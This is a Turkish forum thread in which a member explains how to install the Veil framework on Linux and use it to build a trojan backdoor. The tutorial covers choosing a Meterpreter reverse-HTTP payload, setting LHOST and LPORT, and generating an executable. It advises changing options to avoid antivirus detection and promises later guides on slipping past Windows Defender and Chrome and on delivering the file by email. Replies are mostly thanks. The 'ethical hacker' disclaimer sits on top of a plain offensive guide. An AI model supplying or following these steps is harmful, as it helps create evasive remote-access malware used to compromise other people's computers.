Linux Üzerinde Trojan Oluşturma ve Veil Kullanımı

Durum
Üzgünüz bu konu cevaplar için kapatılmıştır...

Why

Ma name is enough
Süper Üye
Katılım
8 Nis 2017
Mesajlar
904
Çözümler
98
Tepki puanı
307
Ödüller
10
9 HİZMET YILI
Merhaba,

Bugün sizlerle 'Etik Hacker' adı altında backdoor(arka kapı) oluşturmayı ve bu backdoorların nasıl oluşturulduğu, önemlemlerin nasıl alınacağı hakkında konuşacağız.

Öncelikle Veil nedir bundan bahsetelim;
Veil, Linux tabanlı işletim sistemi üzerinde bazı payloadların tool içerisinde hazır şekilde sunulmasını sağlayan ve Trojan oluşturmamıza olanak tanıyan bir yazılımdır. Bu yazılım Antivirüslerdeki açıkların belirlenmesi, güvenlik açıklarının kapatılması gibi birçok alanda kullanılabilir. Daha önce de bahsettiğimiz gibi, "Hırsızı yakalamak için hırsız gibi düşünebilmek gerekir" bunun için tüm metod ve toolları öğrenmekte fayda var. Anlatılan konu üzerinde illegal yapılan hiçbir işlem için SORUMLULUK KABUL ETMİYORUM.
Tamamen bilgilendirme amacı ile Etik Hacker yolunda ilerlemenizi temenni ederim. Bu tarz işlemlere "şaka" yolu ile yapılması farketmeksizin büyük cezai işlemler uygulandığını aklınızdan çıkarmayın. İllegal değil, legal davranışlarda bulunun.

Şimdi yavaş yavaş Veil kurulumu ve kullanımına geçebiliriz.

İlk önce
Bağlantıları görmek için lütfen Giriş Yap
linki üzerinden Veil'in GitHub sayfasına erişerek kurulum için ilk adımı atabiliriz. Sonrasında kurulum için bahsedilen adımlar açıkça belirtilmesine rağmen sizlere adım adım ben de burada anlatıyor olacağım.

Linux Terminalimizi açarak yapacağımız işlemler sırası ile şunlardır.
- sudo apt-get update
- sudo apt-get upgrade
.. daha sonrasında kurulum için gerekli git komutlarını işleyeceğiz.

- sudo apt-get -y install git
- git clone https://github.com/Veil-Framework/Veil.git
- ./config/setup.sh --force --silent

Kurulum işlemleri 15-20 dakika arasında sürebilir, "hacker olmanın en ince noktası sabırdır :)"

Kurulum tamamlandıktan sonra tekrar yeni bir terminal açarak Veil yazmanız yeterli olacaktır. Daha sonra kullanacağımız aracın arayüzü karşımıza çıkacak.

Bu arayüz içerisinde 2 adet payload önümüze gelecek, bunlar Evasion ve Ordnance, bunlardan bizim genellikle Trojan backdoor oluştururken kullanacağımız tool(araç) Evasion olacaktır.

Akabinde "use 1" seçeceği seçtiğimizde (Command kısmında hangi işlemler ile tool arası geçiş yapabileceğiniz ve kullanabileceğiniz belirtilmiştir.) Evasion içerisine girerek, 41 adet payload karşımıza çıkmaktadır. (Payload ne demek? : Payload, bizlerin oluşturacağı backdoor'ların kullanılmasını sağlayan kodlardır)


"List" komutunu kullanarak payloadları listeliyoruz.
Karşımıza çıkan ekranda örneğin Ruby/meterpreter/rev_http.py'yi göreceğiz. Bu ne anlama geliyor? Ne işe yarıyor biraz bundan bahsedelim.

Ruby: Bir programlama dilidir, kullanacağımız yazılımın hangi programlama dili ile yazıldığını bize gösterir ve ilk başta yer alır.
Meterpreter: İşlemi gerçekleştirip karşı tarafa bu backdoor'u yedirdikten sonra elde edeceğimiz "session"ları (yani "alınan bilgiler" olarak isimlendirebiliriz) buradan izleyeceğiz. Kullandığımız asıl program bu olacak.
rev_http.py : Bu aşama ise Method olarak isimlendirilir. Reverse http, yani ters connection; ters bağlantı anlamına gelir. Http'yi kullanarak hedef bilgisayara bağlanmak yerine hedef pc'nin dönüp bize bağlanmasını sağladığımız yerdir.

Bunları da anladığımıza göre şimdi bir adet backdoor oluşturalım...

Açılan pencereden kullanmak istediğimiz payload'ı seçerek örneğin; "use 14" yazarak, payload'ın içerisine girerek aktarım yapacağımız options'ları değiştirebiliriz.
Ne kadar fazla options değiştirirsek ve denersek Antivirüslere yakalanma olasılığı o kadar düşecektir.

Bizim ilk başta bunlardan ziyade, göreceğimiz en önemli husus LPORT ve LHOST kısımlarıdır. Burada LHOST kısmını değiştirmek için(bkz: LHOST işlem yapılacak IP adresidir, yani kendi IP adresimiz) set LHOST 10.0.2.15(sizin IP adresiniz ne ise onu yazmanız gerekir) yazarak LHOST'u değiştirebiliriz.

Ardından LPORT değiştireceğiz.(Bu da işlem yapılan PORT üzerinde çakışma olmaması için 4444- 8080- 5555 gibi port adreslerini yazarak işlem yapmamıza olanak sağlar ve daha doğru, temiz parametreler çalıştırır.)

LPORT değiştirmek için aynı komut üzerinden set LPORT 8080 yazıyoruz ve Enter ile onaylıyoruz. İşlemler okeylendikten sonra, backdoor'u oluşturmak için
generate komutunu kullanıyoruz ve biraz bekledikten sonra karşımıza çıkan kısımda oluşturduğumuz backdoor için bir isim belirliyoruz. (örnekler: newpayload, yenipy, osman123 vb. istediğiniz tüm isimleri kullanabilirsiniz.)

Bu işlemi de onayladıktan sonra yaklaşık 15-20 saniye içerisinde yeni backdoor oluşturulacak ve karşımıza çıkan ekranda hangi yol üzerine kaydettiği gösterilecektir.
Bunun gibi birçok tool ve yöntem mevcut. Bunlardan sadece birini anlatarak nasıl yapacağınız konusunda fikrinizi oluşturmuş olduk. İlerleyen zamanlarda bu oluşturulan .exe dosyasını Windows makinelerde ve daha üst düzey şekilde Android İşletim sistemlerinde nasıl kullanılacağını da işleyeceğiz. Antivirüslere yakalanmaması, Windows Def.'in algılamaması, Chrome üzerinden hata vermemesi ve e-mail üzerinde bunu nasıl yedireceğiniz hakkında birçok konuya değineceğiz.
Tekrar görüşmek üzere :)

WHY? Hepinize iyi günler, iyi çalışmalar diler.
 
Son düzenleme:
Süper Üye
Katılım
16 Ağu 2021
Mesajlar
735
Çözümler
5
Tepki puanı
87
Ödüller
2
Yaş
24
4 HİZMET YILI
Hocam çok iyi bir şekilde anlatmışsınız, ellerinize sağlık. Önlerden yerimizi alalım.
 
  • Like
Tepkiler: Why

Why

Ma name is enough
Süper Üye
Katılım
8 Nis 2017
Mesajlar
904
Çözümler
98
Tepki puanı
307
Ödüller
10
9 HİZMET YILI
Süper Üye
Katılım
16 Ağu 2021
Mesajlar
735
Çözümler
5
Tepki puanı
87
Ödüller
2
Yaş
24
4 HİZMET YILI
Sanal makine üzerinden Linux kurulumu yapabilirsin.
Güzel yorumların için teşekkür ederim, iyi forumlar :)
Hocam virtual box kullanımı ile ilgili de bir rehber yapacak mısınız? Ve Azure methodları varsa paylaşırsanız sevinirim.
Not: Yaparsanız siz yaparsınız.
 
Son düzenleme:

Why

Ma name is enough
Süper Üye
Katılım
8 Nis 2017
Mesajlar
904
Çözümler
98
Tepki puanı
307
Ödüller
10
9 HİZMET YILI
Hocam virtual box kullanımı ile ilgili de bir rehber yapacak mısınız? Ve Azure methodları varsa paylaşırsanız sevinirim.
Not: Yaparsanız siz yaparsınız.
Eğer istek varsa onunla ilgili detaylı bir videolu anlatım ya da detaylı bir post hazırlarım. Ekstra olarak farklı sorularınız için özelden ulaşabilirsiniz.
 
Onaylı Üye
Katılım
21 Ocak 2021
Mesajlar
77
Tepki puanı
2
Ödüller
6
Yaş
26
5 HİZMET YILI
ellerinize sağlık çok iyi bir şekilde anlatmışsınız
 
  • Like
Tepkiler: Why
Onaylı Üye
Katılım
16 Mar 2018
Mesajlar
53
Tepki puanı
10
Ödüller
6
Yaş
30
8 HİZMET YILI
Elinize sağlık güzel şekilde anlatmışsınız
 
  • Like
Tepkiler: Why
Süper Üye
Katılım
15 Kas 2020
Mesajlar
641
Çözümler
3
Tepki puanı
48
Ödüller
6
5 HİZMET YILI
Hocam çok anlaşılır ve basit bir dilde anlatmışsınız çok güzel olmuş elinize sağlık.
 
Süper Üye
Katılım
19 Ocak 2020
Mesajlar
659
Tepki puanı
51
Ödüller
4
Yaş
26
6 HİZMET YILI
çok yararlı konu olmuş hocam yazılıma yeni başlıyanlar burdan yapabilir eline sağlık
 
Durum
Üzgünüz bu konu cevaplar için kapatılmıştır...
Üst